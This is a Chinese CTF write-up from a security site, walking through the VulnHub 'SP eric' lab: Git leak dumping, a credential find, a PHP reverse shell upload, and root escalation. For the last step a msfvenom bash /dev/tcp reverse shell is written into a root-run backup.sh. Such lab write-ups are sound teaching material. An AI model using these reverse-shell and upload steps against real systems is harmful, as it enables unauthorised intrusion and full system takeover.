SP eric靶机通关攻略 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

SP eric靶机通关攻略

DarkEye web安全 2019-04-29 11:35:00
308865
收藏

导语:​大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来。

大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:

· /root/flag.txt

· /root/eric/flag.txt

靶机下载地址:https://www.vulnhub.com/entry/sp-eric,274/

渗透方法

· 网络扫描

· 访问HTTP服务端口

· 使用dirb遍历目录

· 使用gitdumper来下载git文件

· 使用extractor来提取git文件

· 遍历登录凭证

· 上传PHP反向shell

· 获取用户flag

· 利用PHP shell编辑文件

· 获取root用户flag

Writeup

首先我们用nmap来对这个靶机进行端口扫描,通过扫描可以看到开放了80端口,如下图,我们还看到了扫出来了一个Git目录。

nmap -A 192.168.1.18

1.png

既然开了80,我们就在浏览器中访问一下,看到如下信息,“blog under construction”(博客正在建设中),如图,看起来好像没什么可挖掘的,我们再试试其他办法。

2.png

那我们就来试一下目录遍历,这里我们使用dirb这款工具。扫出来了一个admin.php文件和一个upload目录。OK,我们将对它们进一步挖掘。

dirb //192.168.1.18

3.png

访问admin.php,是一个表单,有username和password这两个字段。看到表单,我们马上就会想到SQL注入。于是我们花了一点时间进行尝试,无果,只好放弃,只能再尝试其他方法。

4.png

现在,继续看nmap扫描结果,我们找到了一个Git库。在google上查找一番之后,我们找到了一个Git泄露利用工具GitTools。我们把工具下载到桌面,如下图,接着我们进入到GitTools工具目录,ls一下,我们可以看到有3个工具:Dumper,Extractor和Finder。我们将使用这个工具来遍历我们发现的Git库。

git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls

5.png

首先,我们进入到Dumper目录,使用gitdumper工具。这会dump Git库中的所有文件。我们只需要指定一个下载目录即可,如下图:

6.png

现在我们已经成功dump了Git库中的所有文件。接着该使用Extractor工具了。进入到Extractor目录中,使用Extractor工具,需要指定两个目录,一个是刚才dump文件的目录,一个是提取文件的目录,如下图:

./extractor.sh ../Dumper/dest-dir ./dest-dir

7.png

Extractor会根据Git中的commits来创建目录,如下图所示。Git中有3个commits,所以创建了3个目录。首先,我们进入其中一个目录“3db5628b550f5c9c9f6f663cd158374035a6eaa0”,发现里面有三个文件:admin.php,commitmeta.txt和index.php。我们用cat命令来查看一下admin.php这个文件,发现了之前访问80端口时表单中的用户名和密码,我们把这个凭证标记出来了,如下图:

8.png

回到之前的表单页面,然后输入凭证,成功登陆。登进来之后,我们发现了更多的表单,一个是“add new post”,还有一个是“add site to blogroll”,都是在建设中,如图:

9.png

我们在表单中随便填入一些信息,然后在上传文件的位置选择一个PHP反向shell。填完之后,我们点击add按钮来添加,如图:

10.png

虽然文件已经上传了,但我们要获取到会话,还是要在靶机上访问一下这个文件。回到nmap扫描结果,我们找到一个“upload”目录。猜想一下,刚才上传的文件应该是传到了upload目录下,于是我们在浏览器中访问一下upload目录下的该文件,如下图:

11.png

 

另一方面,我们需要打开一个终端,创建一个nc监听器,监听的端口是PHP反向shell脚本里设置的端口。很快,我们就获得了靶机的shell。不过,获得的好像是一个Python shell,要获得靶机的系统shell,我们需要使用Python的一个语句,如下图。进入靶机的系统shell之后,我们就可以ls查看一下当前目录内容了,发现了eric目录,进入到该目录,找到了第一个flag。同时,在这个eric目录下,我们还发现了一个backup.sh文件,这个文件是以root身份运行的,并且具有所有的权限,如下图所示:

nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt

12.png

因此,我们就需要利用这个backup.sh文件来提权到root。我们创建了一个msfvenom脚本来打这个靶机。我们使用的是reverse_bash这个payload来创建脚本的,如下:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R

13.png

复制脚本内容,然后切换到靶机的shell会话中,使用echo命令,将内容写入到backup.sh中,如下:

echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
cat backup.sh

14.png

打开一个新的终端,再创建另外一个nc监听器,监听的端口就是刚才使用msfvenom创建脚本时的端口,4455。接着,我们执行一下这个backup.sh文件,马上就获得了一个root shell。我们还是需要使用Python语句来进入到系统的shell中。接着,我们切换到root目录下,看到了root flag,如下图:

nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt

15.png

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务